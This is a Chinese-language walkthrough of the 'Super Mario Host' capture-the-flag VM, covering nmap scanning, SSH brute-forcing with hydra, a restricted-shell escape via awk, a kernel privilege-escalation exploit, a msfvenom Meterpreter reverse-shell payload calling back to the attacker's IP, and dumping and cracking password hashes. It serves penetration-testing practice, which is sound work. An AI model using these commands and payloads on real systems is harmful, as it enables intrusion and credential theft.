靶机描述:
欢迎来到超级马里奥主机!
这个虚拟机是对真实世界场景场景的模拟。
目标是在VM中找到2个标志。根是不够的(对不起!)
VM可以以多种方式开发,但请记住枚举是关键。
挑战的程度是中等的。
感谢VDBAN、KLTWD、MRB3N和GKNSB进行测试。
靶机渗透:
本次攻击机依然采取的是kali+windows,kali跟靶机都采用的是桥接模式,
攻击机IP为:192.168.0.106
我们用nmap扫出靶机ip地址:
nmap -sP 192.168.0.0/24
我们探测出靶机IP为:192.168.0.107
我们再用nmap探测一下靶机其他信息:
nmap -p 1-65535 -T4 -A 192.168.0.107
发现开放放了两个端口:22,8180
我们尝试访问主页:
我们加上8180端口访问:
说是我们安装成功了nginx...我们查看源代码,看能不能获得什么有用的信息:
有个鬼....我们只有暴力扫目录了:
只发现了一个/vhosts一个返回值是200的目录,我们尝试访问:
这是一个Apache虚拟主机的配置文件,其中包含在机器上配置的vhosts.
同时我们获得了一些敏感的节点信息!!!
该靶机服务器的名字为:mario.supermariohost.local
服务器的管理员为:webmaster@localhost
网站的根路径:/var/www/supermariohost
目录索引为:mario.php
除此之外我们看一下前半段
# The ServerName directive sets the request scheme, hostname and port that
# the server uses to identify itself. This is used when creating
# redirection URLs. In the context of virtual hosts, the ServerName
# specifies what hostname must appear in the request's Host: header to
# match this virtual host. For the default virtual host (this file) this
# value is not decisive as it is used as a last resort host regardless.
# However, you must set it for any further virtual host explicitly.
百度翻译:
Server Nead指令设置请求方案、主机名和端口
服务器使用它来标识它自己。这是在创建时使用的
重定向URL。在虚拟主机的上下文中,服务器名
指定请求主机中必须出现的主机名:
匹配这个虚拟主机。对于默认虚拟主机(此文件)
价值不是决定性的,因为它被用作最后的主人不管。
但是,您必须显式地将其设置为任何其他虚拟主机。
意思是虚拟主机通过检查Host HTTP请求标头中提交的值然后使用它来选择要服务的目录来工作。
在这种情况下,如果通过访问 http://mario.supermariohost.local:8180 ,而不是 http://192.168.0.107:8180/,
它将从/var/www/supermariohost目录中提供文件来服务mario.php。
既然知道了服务器的名字我们尝试访问服务器:
http://mario.supermariohost.local:8180
emmm...我都告诉你服务器名称了,你找不到服务器???
突然想起来,系统可能根本不认识这个 mario.supermariohost.local:8180
我应该在linux下是/etc/hosts,windows下是C:\Windows\System32\drivers\etc\hosts
192.168.0.107 mario.supermariohost.local
这样的话,当我们访问服务器时,验证请求头,是从 http://mario.supermariohost.local:8180
访问过来的,这样就从/var/www/supermariohost目录中提供文件来服务mario.php。
hosts文件的作用:将一些常用的网址域名与其对应的IP地址建立一个关联“数据库”,
当用户在浏览器中输入一个需要登录的网址时,系统会首先自动从Hosts文件中寻找对
应的IP地址,一旦找到,系统会立即打开对应网页,如果没有找到,则系统会再将网址
提交DNS域名解析服务器进行IP地址的解析。
我们再次访问http://mario.supermariohost.local:8180
这不就是小时候玩的超级玛丽.hahaha
我们发现了一段文字:
It'sa meeeee, Maaaaario! Welcome to Super Mario Host! Me and my tall brother had the idea of making a tribute for this machine, we still trying to figure out what to do to keep you entertained! In the meantime you can play with this nice game I've added for you :D Credits to Mark Robbins, the source code of the game can be found here.
我们百度翻译一下:
真是太美了,Maaaaario!欢迎来到超级马里奥主机!我和我的大兄弟有一个想法,为这台机器致敬,我们仍然试图找出做什么,让你娱乐!在此期间,你可以玩这个漂亮的游戏,我已经为你添加:D学分到Mark Robbins,游戏的源代码可以在这里找到。
马里奥的大兄弟...我记得超级玛丽游戏人物一个是红色的叫马里奥,一个是绿色的,说不定绿色的是马里奥的大兄弟
有一个mario.php的文件已经被调用了,说不定还有个luigi.php
原文:
Hey!! It'sa Luiiiggiii!!
My short brother doesn't know that I'm wandering around his host and messing around, he's new with computers!
Since I'm here I want to tell you more about myself...my brother is a nice person but we are in love for the same person: Princess Peach! I hope she will find out about this.
I Love Peach
Forever yours,
Luigi
百度翻译:
嘿!真是太棒了!!
我的小弟弟不知道我在他的主人身边游荡,到处乱跑,他是个电脑新手。
既然我在这里,我想告诉你更多关于我自己…我的兄弟是一个好人,但是我们爱上了同一个人:桃公主!我希望她能知道这件事。
我爱桃
永远属于你,
路易基
emmm...还不如不翻译...
我记得靶机还开了一个22端口,我们可以用cewl对luigi.php进行遍历
来创造一个字典,进行端口爆破,cewl用法在上一节已介绍,这里不再赘述
然后再用john再次生成密码
john详细用法:https://tools.kali.org/password-attacks/john
万事俱备,我们用hydra进行22/ssh端口的爆破:
我们获得账号密码 luigi/luigi1
我们尝试登陆22端口:
不过luigi用户被困在一个有限的shell中,只有awk,cat,cd,clear,echo,exit,help,history,
ll,lpath,ls,lsudo,vim,这几个命令可以使用
在打破shell之前,我查看了一下luigi主目录的内容,也就是message文件:
我们先从awk这个命令入手,这个命令也是神器,
awk命令详解与应用:
https://www.cnblogs.com/ginvip/p/6352157.html
http://blog.chinaunix.net/uid-23302288-id-3785105.html
这样的话,我们可以通过 awk 'BEGIN {system("/bin/bash")}'
来突破shell限制
如何逃逸linux的受限制shell执行任意命令:http://www.4hou.com/penetration/11674.html
走到这一步,我们尝试提权:
看了一下内核版本3.13.3-32,我们通过互联网公开漏洞库针对性搜索该版本利用程序,如图
searchsploit用法手册:https://www.exploit-db.com/searchsploit/
https://www.exploit-db.com/exploits/37292/
使用此提权脚本
提权成功,我们现在已经是root权限,下来就是找flag
我们进入/root目录下,发现一个flag.zip的压缩文件,解压还需要密码:
现在需要把他下载下来,因为我现在是root权限,使用msfvenom创建一个Meterpreter可执行文件,
在Metasploit中 msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.0.106 LPORT 4444 -f elf > /var/www/html/shell.elf
运行 exploit/multi/handler 模块时,并在目标上执行它
-----------------------------------------------------------------------------------------------------------------
(做这一步,我用的kali 2016 2.0的系统,不知怎么在生成linux后门上有一点小问题
msf生成linux后门shell参考https://bbs.ichunqiu.com/thread-20137-1-1.html
这道靶机题后来我用了parrot linux来完成,同时用2018版本的kali或者1.0的kali都可以完成,
攻击机IP换成了192.168.0.104 )
在parrot上面生成shell:
然后我们在靶机上,下载下来这个刚生成的shell.elf(也就是后门)
运行后门shell.elf,就会发现parrot这边的监听已经有反应了
也就是在kali里面用msfvenom生成MSF后门,用靶机root权限下载该后门并且执行,拿到权限
下载flag.zip到parrot的/root目录下:
然后在parrot本地修改文件并破解,使用parrot自带的字典rockyou.txt
得到密码 ilovepeach
查看flag
flag到手
我们来看一下flag内容:
它让我们拿到全部账号密码,
应为我们已经用msf来得到shell,我们继续用hashdump来获得密码的hash密文:
run post/linux/gather/hashdump
由此我们已经得到了全部用户的hash,我们来破解hash密文:
我们先创建一个mariopass.txt,把压缩文件密码 ilovepeach 保存进去,
用john来根据 ilovepeach 这个密码匹配生成一个简单字典,为 marioresult.txt
我们查看一下marioresult.txt这个字典:
我们找到用户密码的hash密文的保存位置:
然后用john加载刚生成的字典,对这些hash密文进行爆破:
得到系统账号密码分别为:
root / ilovepeach!
mario / ilovepeach!
均能成功登陆
其他尝试:
1.在shell被限制时,我们使用awk 'BEGIN {system("/bin/bash")}'来脱困,其实用rvim也是可以的,不妨尝试一下;
2.在创建linux后门的时候,靶机上面是有apache服务的,我们可以制作一个php后门进行上传,这都是不错的,靶机上面还有python,哇!可操作性更大了,小伙伴们不妨尝试一下,如果那个地方写错,还请各位指出来。